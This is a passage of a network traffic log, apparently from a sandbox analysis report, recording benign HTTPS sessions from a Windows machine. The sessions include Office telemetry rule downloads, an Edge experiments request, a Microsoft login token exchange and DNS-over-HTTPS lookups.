2024-11-25 15:21:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:30 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da423632-601e-0002-52c6-3ea786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152130Z-178bfbc474b9fdhphC1NYCac0n00000007h000000000gpkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:30 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:30 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: aad6ad68-f01e-0071-7110-3e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152130Z-178bfbc474b9fdhphC1NYCac0n00000007f000000000pfsn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:30 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49751	94.245.104.56	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:30 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:31 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 25 Nov 2024 15:21:30 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:32 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6171fc9e-701e-000d-441c-3d6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152132Z-178bfbc474bgvl54hC1NYCsfuw00000007pg000000008259 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:32 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5fd12e2e-e01e-0051-1fc8-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152132Z-178bfbc474b7cbwqhC1NYC8z4n00000007h000000000espe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:32 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:32 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4860472f-101e-0028-01d0-3e8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152132Z-178bfbc474bwlrhlhC1NYCy3kg00000007q0000000008850 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:32 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:32 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152132Z-174c587ffdfl22mzhC1TEBk40c000000068000000000feg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:32 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152132Z-178bfbc474bv587zhC1NYCny5w00000007mg0000000025pm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49753	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 15:21:32 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:21:33 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:20:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: c7414d9f-2a2a-4987-af5e-164c9b3fe501 PPServer: PPV: 30 H: SN1PEPF0002F951 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:32 GMT Connection: close Content-Length: 1276
2024-11-25 15:21:33 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49782	172.64.41.3	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 15:21:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 15:21:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 15:21:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e82a118accb4316-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 15:21:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ba 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49786	162.159.61.3	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 15:21:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 15:21:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 15:21:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e82a1189ddd8c2f-EWR alt-svc: h3=":443"; ma=86400
